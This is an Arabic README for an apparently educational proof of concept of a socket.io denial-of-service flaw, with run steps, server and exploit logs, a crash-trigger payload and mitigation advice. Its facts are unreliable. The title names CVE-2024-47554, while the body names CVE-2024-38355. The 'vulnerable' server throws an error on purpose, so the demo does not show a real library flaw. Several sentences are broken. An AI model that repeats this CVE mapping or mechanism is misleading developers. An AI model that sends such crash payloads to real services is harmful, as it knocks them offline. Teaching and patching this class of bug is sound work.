
إثبات مفهوم لـ CVE-2024-47554
هذا المشروع هو إثبات مفهوم يوضح CVE-2024-38355، وهي ثغرة من نوع رفض الخدمة في socket.io. تم إنشاء المشروع لأغراض تعليمية لعرض آلية الهجوم وكيفية حماية التطبيقات.
تؤثر هذه الثغرة على إصدارات socket.io:
يمكن لحزمة Socket.IO مصممة خصيصًا أن تؤدي إلى استثناء غير معالج على الخادم، مما يتسبب في تعطل عملية Node.js. يؤدي هذا إلى هجوم رفض الخدمة (DoS).
كيف يعمل:
العوامل الرئيسية:
error على المقبسيتكون المشروع من حاويتين من Docker:
[email protected]. يحتوي على معالج أحداث يمكنه إلقاء استثناء غير معالج عند استقبال بيانات ضارة.أو بديلاً:
افتح محطة طرفية في الدليل الجذر للمشروع وقم بتشغيل:
docker-compose down
docker-compose build --no-cache
docker-compose up
سيؤدي هذا إلى:
المحطة 1 - بدء الخادم:
cd server
npm install
npm start
المحطة 2 - تشغيل الاستغلال:
cd exploit
npm install
npm start
سجلات الخادم:
[SERVER] Running on port 3000. Waiting for connections...
[SERVER] Client connected: <socket-id>
[SERVER] Processing data: {"message":"Hello, normal request"}
[SERVER] Client disconnected: <socket-id>
[SERVER] Client connected: <socket-id>
[SERVER] Processing data: {"trigger":"crash"}
/app/index.js:24
throw new Error('Uncaught exception triggered by malicious packet');
سجلات الاستغلال:
[EXPLOIT] CVE-2024-38355 Proof of Concept
[EXPLOIT] Targeting http://vulnerable-server:3000...
[STEP 1] Testing normal connection...
[STEP 1] Connected successfully.
[STEP 1] Received response: {"status":"processed","data":{"message":"Hello, normal request"}}
[STEP 2] Sending malicious payload to trigger CVE-2024-38355...
[STEP 2] Connected. Sending crash trigger...
[STEP 2] Payload sent! Waiting for server to crash...
[STEP 2] Disconnected (server may have crashed).
[STEP 3] Checking if server is still alive...
[RESULT] SUCCESS! Server is unreachable: xhr poll error
اضغط Ctrl+C أو شغّل:
docker-compose down
server/index.js)socket.on('process_data', (data) => {
// VULNERABLE: No try-catch, no error handler on socket
if (data && data.trigger === 'crash') {
throw new Error('Uncaught exception'); // Crashes the process!
}
});
exploit/exploit.js)// Send malicious payload that triggers the crash
socket.emit('process_data', { trigger: 'crash' });
لحماية تطبيقك من هذه الثغرة:
تحديث socket.io إلى الإصدار 4.6.2 أو أحدث (الإصلاح يضيف معالج أخطاء افتراضي بدون عملية).
قم دائمًا بإرفاق معالجات الأخطاء بالمقابس:
socket.on('error', (err) => {
console.error('Socket error:', err);
// Handle gracefully, don't let it crash the server
});
لف معالجات الأحداث في try-catch:
socket.on('process_data', (data) => {
try {
// Process data safely
} catch (err) {
console.error('Error processing data:', err);
socket.emit('error_response', { message: 'Invalid data' });
}
});
أضف معالج استثناءات عام غير معالج (كحل أخير):
process.on('uncaughtException', (err) => {
console.error('Uncaught Exception:', err);
// Log and gracefully shutdown
});
تم إنشاء المشروع لأغراض تعليمية.